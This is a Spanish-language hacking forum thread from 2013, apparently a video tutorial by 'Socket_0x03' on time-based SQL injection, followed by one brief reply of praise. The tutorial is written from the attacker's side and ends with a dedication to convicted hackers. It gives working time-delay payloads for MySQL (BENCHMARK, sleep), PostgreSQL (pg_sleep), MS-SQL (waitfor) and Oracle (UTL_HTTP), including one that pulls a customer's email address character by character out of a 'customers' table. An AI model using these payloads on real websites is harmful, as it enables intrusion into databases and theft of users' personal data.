Hack x Crack - Comunidad de Seguridad informática

Seguridad Informatica => Hacking => Hacking web => Mensaje iniciado por: Socket_0x03 en Noviembre 22, 2013, 06:50:06 pm

Título: [Video Tutorial] Inyecciones SQL Basadas en Tiempo [by Socket_0x03]
Publicado por: Socket_0x03 en Noviembre 22, 2013, 06:50:06 pm
Inyecciones SQL Basadas en Tiempo by Socket_0x03

Antes de Comenzar

Para entender con claridad el contenido aquí expuesto se requieren conocimientos en las clásicas inyecciones SQL (SQLi basadas en errores), inyecciones SQL a ciegas, PHP y MySQL.

Comenzamos

Las inyecciones SQL basadas en tiempo (Time-Based SQL Injection) son una vulnerabilidad a nivel de website, en el cual un atacante usa Time-Delay (tiempo de parada en segundos) para realizar consultas a una base de datos y obtener información sensitiva como nombres de usuarios y passwords.

Como sabrán, las clásicas inyecciones SQL sueltan información en el navegador del atacante, como por ejemplo los nombres de usuarios y passwords. Las inyecciones SQL a ciegas no muestran información (de la base de datos) en el navegador del atacante, pero el intruso se da cuenta de dichos datos por las respuestas positivas/negativas que aparecen en su navegador (por ejemplo, una respuesta positiva mostraría una imagen en el navegador y una negativa no la mostraría). En el caso de las inyecciones SQL basadas en tiempo, el atacante también se basa en respuestas positivas/negativas, pero en este caso el intruso usa time delay (tiempo de parada en segundos) para obtener información sensitiva de la base de datos. Por ejemplo, una respuesta positiva podría ser que el navegador tarde más de 10 segundos en cargar ya que se cargo el time delay de 10 segundos que se incluyo en la URL; por otro lado, una respuesta negativa podría ser que el navegador tarde 3 segundos o menos en cargar ya que no se cargo el time delay de 10 segundos.

Vulnerable?

En MySQL de las versiones anteriores a la 5.0.12, para saber si un servidor tal vez pueda ser vulnerable a las inyecciones SQL basadas en tiempo, se puede hacer una prueba similar a la siguiente:

Se produce el Time-Delay (el navegador tarda en cargar):
Código: [Seleccionar]
http://www.website.com/index.php/if(1=1,BENCHMARK(100000000,MD5(1)),1)--
No se produce el Time-Delay (el navegador no tarda en cargar):
Código: [Seleccionar]
http://www.website.com/index.php/if(1=9999,BENCHMARK(100000000,MD5(1)),1)--
En MySQL de las versiones superiores a la 5.0.12, para saber si un servidor tal vez pueda ser vulnerable a las inyecciones SQL basadas en tiempo, se puede hacer una prueba similar a la siguiente:

Se produce el Time-Delay (el navegador tarda en cargar):
Código: [Seleccionar]
http://www.website.com/index.php/if(1=1,sleep(10),0)--
No se produce el Time-Delay (el navegador no tarda en cargar):
Código: [Seleccionar]
http://www.website.com/index.php/if(1=9999,sleep(10),0)--
En PostgreSQL, para saber si un servidor tal vez pueda ser vulnerable a las inyecciones SQL basadas en tiempo, se puede hacer una prueba similar a la siguiente:

Se produce el Time-Delay (el navegador tarda en cargar):
Código: [Seleccionar]
http://www.website.com/index.php/if(1=1,pg_sleep(10),0)--
No se produce el Time-Delay (el navegador no tarda en cargar):
Código: [Seleccionar]
http://www.website.com/index.php/if(1=9999,pg_sleep(10),0)--
Time Delay

La primera inyección con resultados positivos que se aplica en el video es la siguiente:

Código: [Seleccionar]
backup.php/IF((SELECT%20ASCII(SUBSTR(customers_email_address,1,1))%20FROM%20customers%20WHERE%20customers_id=1)=109,BENCHMARK(100000000,MD5(1)),1)--%20.php?
Si ya estudiaron sobre las clásicas inyecciones SQL (SQLi basadas en errores) y las inyecciones SQL a ciegas, no hace falta que explique lo básico (columnas, tablas, query, operadores, caracteres ASCII... etc.), aquí lo nuevo comienza desde la función BENCHMARK (el Time-Delay) para la derecha.

A la hora de realizar un time delay (tiempo de parada en segundos), el atacante debe incluir un comando que pueda ser interpretado por la base de datos. En las inyecciones del video se uso el comando BENCHMARK porque la base de datos es MySQL y su versión es de las anteriores a la 5.0.12, en las cuales se puede usar BENCHMARK pero no se puede utilizar la función sleep. Cuando se trata de una base de datos MySQL superior a la versión 5.0.12, se puede usar el comando BENCHMARK o la función sleep.

Si se trata de otras base de datos diferentes a MySQL, entonces el intruso debe utilizar otros comandos. Por ejemplo, en MS-SQL se puede utilizar el comando WAITFOR de una forma similar a la siguiente:
Código: [Seleccionar]
if(select user) = 'user' waitfor delay '0:0:9'En la base de datos PostgreSQL, para causar el time delay se debe utilizar el comando PG_SLEEP. Este podría ser usado de una forma similar a la siguiente:
Código: [Seleccionar]
backup.php/IF((SELECT%20ASCII(SUBSTR(customers_email_address,1,1))%20FROM%20customers%20WHERE%20customers_id=1)=108,pg_sleep(20),0)-- En la base de datos Oracle es un poquito más complejo ya que a esta aplicación no se le creo un comando especifico para causar el time delay, sin embargo, un atacante podría causarla usando tácticas ingeniosas; por ejemplo, este podría usar la función UTL_HTTP para conectar a un servidor que no existe. Esta táctica de conectar a un servidor que no existe podría ser aplicada de una forma similar a la siguiente:
Código: [Seleccionar]
SELECT 't' ||Utl_Http.request('http://www.website.com') FROM dual WHERE (SELECT data_in_column FROM table WHERE data_in_column = 'Socket_0x03') = 'Socket_0x03' Por un lado, si los datos Socket_0x03 se encuentran dentro de la database Oracle, el navegador del atacante tardara en cargar y se producirá el time delay (tiempo de parada en segundos); por otro lado, si los datos Socket_0x03 no se encuentran dentro de la database Oracle, entonces no se producirá el time delay.

Time-Delay en Rojo

MySQL (versiones anteriores a la 5.0.12):
Código: [Seleccionar]
index.php/if(1=1,[color=red]BENCHMARK[/color](100000000,MD5(1)),1)--MySQL (versiones superiores a la 5.0.12):
Código: [Seleccionar]
index.php/if(1=1,[color=red]sleep[/color](10),0)--MS-SQL:
Código: [Seleccionar]
index.php/if(select user) = 'user' [color=red]waitfor[/color] delay '0:0:9'PostgreSQL:
Código: [Seleccionar]
index.php/if(1=1,[color=red]pg_sleep[/color](10),0)--
Count Time

En las inyecciones SQL basadas en tiempo que se mostraron en el video, después del BENCHMARK vemos el 100000000, la cual es el count time; en otras palabras, la cantidad de tiempo que se sumara si la consulta a la database es positiva. Este count time hace que el navegador del atacante tarde aproximadamente unos 10 segundos en cargar. Al cambiar su valor, cambia la cantidad de tiempo que tarda el navegador del intruso en cargar. Cuando se trata de una base de datos MySQL superior a la versión 5.0.12, el count time se encuentra a la derecha de sleep y entre dos paréntesis. Al igual que el count-time de BENCHMARK, al cambiar su valor, cambia la cantidad de tiempo que tarda el navegador del intruso en cargar.

Count-Time en Rojo

MySQL (versiones anteriores a la 5.0.12):
Código: [Seleccionar]
index.php/if(1=1,BENCHMARK([color=red]100000000[/color],MD5(1)),1)--MySQL (versiones superiores a la 5.0.12):
Código: [Seleccionar]
index.php/if(1=1,sleep([color=red]10[/color]),0)--MS-SQL:
Código: [Seleccionar]
index.php/if(select user) = 'user' waitfor delay '[color=red]0:0:9[/color]'PostgreSQL:
Código: [Seleccionar]
index.php/if(1=1,pg_sleep([color=red]10[/color]),0)--
Finalizando

El tema de las inyecciones SQL basadas en tiempo es un tema amplio y sus técnicas de explotación dependen de los tipos y versiones de databases, las cuales pueden ser MySQL, SQL Server, Oracle, u otras. En este tutorial solamente estoy cubriendo unas pocas partes para que tengan una idea, así que si desean seguir ampliando sus conocimientos en este campo, les recomiendo que busquen más información y aprendan de forma autodidacta.

Dedicaciones y Saludos

Este tutorial se lo dedico a Jonathan James (Alias c0mrade), Albert Gonsalez (Alias CumbaJohnny), Stephen Watt (Alias Unix Terrorist), Gilbert Arias (Alias Mr. Montana), y todos esos hackers que se movían en los bajos fondos de Miami hace unos 5-7 años atrás. Si alguna vez alguno llega a ver el video, sabrán porque se los dedico xD 

Descarga del Video (http://www.teraexe.com/SOFT/Time-Based SQLi by Socket_0x03.rar)
Título: Re:[Video Tutorial] Inyecciones SQL Basadas en Tiempo [by Socket_0x03]
Publicado por: bolainas en Noviembre 22, 2013, 10:42:48 pm
Muy bueno un saludo desde Perú.  ;D